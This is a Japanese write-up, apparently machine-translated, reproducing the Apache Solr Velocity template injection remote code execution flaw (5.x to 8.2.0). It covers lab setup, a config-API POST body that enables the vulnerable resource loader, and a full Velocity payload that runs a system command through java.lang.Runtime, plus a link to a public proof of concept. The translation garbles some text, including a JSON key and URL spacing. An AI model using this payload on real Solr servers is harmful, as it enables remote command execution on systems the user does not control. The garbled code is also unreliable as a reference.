0x01 概要
Solr は、Web サービス API インターフェイスを通じて外部にサービスを提供できる、エンタープライズ レベルの独立した検索アプリケーション サーバーです。ユーザーは、http リクエストを通じて特定の形式の XML ファイルを検索エンジン サーバーに送信してインデックスを生成できます。また、HTTP Get オペレーションを通じて検索リクエストを作成し、XML 形式で返された結果を取得することもできます。
0x02 脆弱性の概要
VelocityResponseWriter コンポーネントは Solr に存在します。攻撃者は、関連する構成を変更する特定のリクエストを作成して、 VelocityResponseWriter コンポーネントが許可すること 指定されたテンプレートをロードすると、Velocity テンプレートにリモート コマンド実行の脆弱性が挿入され、攻撃者はこの脆弱性を利用してサーバーのアクセス許可を直接取得する可能性があります。0x03 影響範囲
Apache Solr 5.x ~ 8.2.0、構成 API バージョン存在します 0x04 環境構築
Java8 環境をインストールし、Solr をダウンロードします。ダウンロード アドレス: https://www.apache.org/dyn/ close.lua /lucene/solr/8.2.0/solr-8.2.0.zipダウンロード後、解凍して bin ディレクトリに入って実行します。/solr startunzip solr-8.2 .0.zip起動中にいくつかの警告メッセージが表示されます。bin にある solr.in.sh ファイルを変更し、SOLR_ULIMIT_CHECKS を false
に設定することで、警告メッセージを取り除くことができます。
vim solr.in.sh
その後、もう一度開始します。/solr start root の起動に失敗した場合は、その後に -force を追加します
# #ブラウザで http://ip:8983 にアクセスすると、インストールが成功したことを示す次のインターフェイスが表示されます
#しかし、コアを作成できないことがわかります#まず、/server/solr に手動でインストールします。/ ディレクトリに new_core フォルダーを作成し、次に /server/solr/configsets/_default/ の下にある conf ディレクトリを new_core ディレクトリにコピーして、[Create] をクリックします
# 0x05 脆弱性の再発コアを作成した後、アプリケーション構成ファイルにアクセスできるかどうかを確認するためにアクセスしてください
http:/ /ip:8983/solr/new_core/configApache Solr には、デフォルトで VelocityResponseWriter プラグインが統合されており、プラグイン初期化パラメータの params.resource.loader.enabled のデフォルト値が設定されていますただし、統合設定は POST リクエストを通じて直接変更でき、これを true に設定すると、特別な GET リクエストを作成してリモート コードを実行できます。
Burp を使用してこのページのパッケージを取得し、POST リクエストを直接構築し、次のデータを追加します{ "update-queryresponsewriter": {"startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "テンプレート。 base.dir" : "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"
} }
次に、RCE
ペイロードを実装するペイロードを構築できます: http :// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName(' java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String' )) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1. .$out .available()])$str.valueOf($chr.toChars($out.read()))#endPOC アドレス: https:/ /github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
#0x06 修復方法最新バージョンにアップデート
以上がApache Solr ベロシティ テンプレート インジェクション RCE 脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。